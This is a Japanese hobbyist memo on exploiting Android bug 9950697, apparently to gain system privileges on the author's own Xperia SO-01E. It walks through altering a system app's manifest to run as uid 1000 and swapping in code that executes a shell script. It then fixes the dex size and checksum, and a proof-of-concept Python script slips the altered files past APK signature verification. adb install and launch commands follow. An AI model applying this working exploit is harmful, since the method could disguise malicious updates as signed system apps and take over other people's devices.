bug 9950697を使ったapk改変メモ

■当方の検証環境
Windows 7
SO-01E

■apkの条件
・uid=1000で動くアプリであること
　service call package 24 i32 1000
　を端末のシェルで実行すると、（見づらいが）uid=1000で動くアプリのパッケージ名が列挙される
・通常のAndroidの動作を邪魔しない、およびアプリデータが初期化されても問題無いものであること
　後始末でアップデートの削除をする時に、どうしてもアプリのデータが初期化されてしまうようです
・deodexなapk（対になるodexファイルが無く、apkにclasses.dexが埋め込まれているタイプ）であること
　コードを改変しなくても操作する手法はありますが、面倒です
　ここでは触れませんが、JDKに含まれるjdbを使って起動中の改変アプリを操作する感じです
・中に含まれるclasses.dexのサイズが64kBであること

■手順
1.ターゲットとなるapkをゲット
　今回はShutDownAnimation.apk（com.sonyericsson.shutdownanim）を材料にします
　classes.dexのサイズも10kBと手頃です

2.apktool等でShutDownAnimation.apkを展開

3.AndroidManifest.xmlの改変
　<manifest><application>タグが残っていればあとは割と自由です
　ただ改変の機構上、ファイルサイズがオリジナルより小さくなければなりません
　<application>の内側に<activity>が1個だけある状態で十分でしょう

　まず、<manifest>の属性にandroid:sharedUserId="android.uid.system"があることを確認、これでuid=1000で動きます
　android:versionCodeは変えなくてもイケると思いますが、心配であれば数値を1増やしておきます
　android:versionNameもそのままでいいですが、ここを変えておくと端末の設定→アプリで表示されるので、検証時に改変状態であることが分かりやすくなります
　その他の<manifest><application>の属性はそのままでいいでしょう
　私は以下のようにしました

●---------- AndroidManifest.xml ----------
<?xml version="1.0" encoding="utf-8"?>
<manifest android:sharedUserId="android.uid.system" android:versionCode="2" android:versionName="1.0mod" package="com.sonyericsson.shutdownanim"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <application android:label="@string/app_name">
        <activity android:theme="@*android:style/Theme.Translucent.NoTitleBar" android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
            </intent-filter>
        </activity>
    </application>
</manifest>
--------------------●

ShutDownAnimation.apkには実は元々<activity>タグはありませんでしたが、大胆に変えています
android:theme=～は、アプリを起動しても背景が透明になります（ホーム画面が透けて見えますが、上にアプリが乗っかってるのでホームの操作は出来ません）
MainActivityクラスも元々存在しませんが、のちにコードを書きます
アプリ一覧に出てくる必要も無いので、<intent-filter>もこれだけで良いでしょう

4.コードの改変
改変というか、ほとんど入れ替えです
smali/com/sonyericsson/shutdownanimフォルダにいろいろsmaliファイルが入ってますが、全部削除します
その代わりに、MainActivity.smaliを自作して配置します
smaliが直接コーディング出来る人は、テキストで直書きしても良いでしょう
私はeclipseで適当なアプリを作ってJavaでコーディングしてコンパイル→apktoolで展開→MainActivity.smaliを取り出して（コードのクラスのパス等は修正して）利用、ということをしました
（smali内のLcom/hoge/fuga/MainActivity;をLcom/sonyericsson/shutdownanim/MainActivity;にすればいいですね）
内容としては、onCreateにコマンドを実行するコードを書くだけですね

●---------- MainActivity.java ----------
package com.hoge.fuga;

import java.io.IOException;

import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        execSystem();
    }

    private void execSystem() {
        String[] command = {"/system/bin/sh", "-c", "/data/local/tmp/systemexec.sh"};
        ProcessBuilder pb = new ProcessBuilder(command);
        try {
            pb.start();
        } catch (IOException e) {
            // TODO 自動生成された catch ブロック
            e.printStackTrace();
        }
    }
}
--------------------●

上記例では、アプリが起動するとsystem権限で/data/local/tmp/systemexec.shが実行されることになります

5.apktool等でコンパイル・改変ファイルを取り出す
コンパイル後のShutDownAnimation.apkはそのまま使うわけではありません
7zip等で、apkの中に入ってるAndroidManifest.xml（改）とclasses.dex（改）を取り出します

6.classes.dex（改）をいじる
まず、classes.dex（改）のサイズを、オリジナルのclasses.dexに合わせます
（改）はオリジナルより小さくなってるはずなので、足りない分、末尾にヌル文字を追加します
pythonスクリプトだと以下のような感じです

●---------- padding.py ----------
file_old = open('classes.dex', 'rb')
old = file_old.read()
file_old.close()

file_new = open('classes.dex', 'wb')
file_new.write(old)
file_new.write('\0' * (10224 - len(old)))
file_new.close()
--------------------●

10224というところは、オリジナルのclasses.dexのサイズに読み替えてください

さて、classes.dexにはサイズ情報とチェックサムが埋め込まれているので、バイナリエディタで修正します
まずサイズですが、これはclasses.dexの0x20バイト目から多分4バイト分です
オリジナルのclasses.dexのサイズが10224とすると、16進数で0x27F0になります
リトルエンディアンで逆になるので、classes.dexの0x20を0xF0、0x21を0x27にします

ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
---------------------------------------------------------
～
00000020  F0 27 00 00 ～

上記改変により、チェックサムも変わってきます
チェックサムはclasses.dexの0x08バイト目から4バイトが相当します
何のチェックサムかというと、classes.dexの0x0Cバイト目～末尾までに対するadler32という形式のものになります
まず、classes.dexの冒頭12バイトを削り、classes.rawか何かに名前を変えて保存します
そしてそのclasses.rawに対してadler32を算出します
私は手っ取り早く、オンラインでファイルをアップロードしadler32を算出してくれるサイトを利用しました

http://www.fileformat.info/tool/hash.htm

その結果、チェックサムは7f34ab0bと判明
ということで、classes.dexの0x08～0x0bにこれを（リトルエンディアン、つまり逆で）書き込みます

ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
---------------------------------------------------------
00000000                       ～ 0B AB 34 7F ～

上記作業で出来たものをclasses.dex（改2）とします
classes.dexいじりは以上です

7.改変apkを生成
オリジナルのShutDownAnimation.apk
AndroidManifest.xml（改）
classes.dex（改2）
以上を材料に、mod_ShutDownAnimation.apkを生成します

●---------- poc_apkmod.py ----------
import zipfile
import struct
import sys

# usage: ./poc_apkmod.py new.apk old.apk
zout = zipfile.ZipFile(sys.argv[1], 'w')
zin = zipfile.ZipFile(sys.argv[2], 'r')
replace1 = 'AndroidManifest.xml'
new1 = open('AndroidManifest.xml', 'rb').read()
replace2 = 'classes.dex'
new2 = open('classes.dex', 'rb').read()

fp = zout.fp

for name in zin.namelist():
	old = zin.read(name)
	if name == 'resources.arsc':
		zout.writestr(name, old, zipfile.ZIP_STORED)
	elif name.endswith('.png'):
		zout.writestr(name, old, zipfile.ZIP_STORED)
	elif name == replace1:
		assert len(new1) <= len(old)

		# write header, old data, and record offset
		zout.writestr(name, old, zipfile.ZIP_STORED)
		offset = fp.tell()

		# return to name length, set to skip old data
		fp.seek(-len(old) -len(name) -4, 1)
		fp.write(struct.pack('<H', len(name) + len(old)))

		# after old data, write new data \0 padded
		fp.seek(offset)
		fp.write(new1)
		fp.write('\0' * (len(old) - len(new1)))
	elif name == replace2:
		assert len(new2) <= len(old)

		# write header, old data, and record offset
		zout.writestr(name, old, zipfile.ZIP_STORED)
		offset = fp.tell()

		# return to name length, set to skip old data
		fp.seek(-len(old) -len(name) -4, 1)
		fp.write(struct.pack('<H', len(name) + len(old)))

		# after old data, write new data
		fp.seek(offset)
		fp.write(new2)
	else:
		zout.writestr(name, old, zipfile.ZIP_DEFLATED)

zout.close()
zin.close()
--------------------●

材料たちを同じフォルダに突っ込み、上記pythonスクリプトを以下のコマンドラインで実行してください

test.py mod_ShutDownAnimation.apk ShutDownAnimation.apk

成功すれば、同じフォルダにmod_ShutDownAnimation.apkが出来ます

8.あとは煮るなり焼くなり
・改変アプリのインストール（アップデート）
adb install -r mod_ShutDownAnimation.apk

・改変アプリのMainActivity起動
adb shell am start -a android.intent.action.MAIN -n com.sonyericsson.shutdownanim/.MainActivity

・改変アプリのアンインストール（アップデート削除）
adb shell pm uninstall -k com.sonyericsson.shutdownanim
アップデート削除だからか、-kオプションを付けてもデータが削除されるようですが、念の為付けてます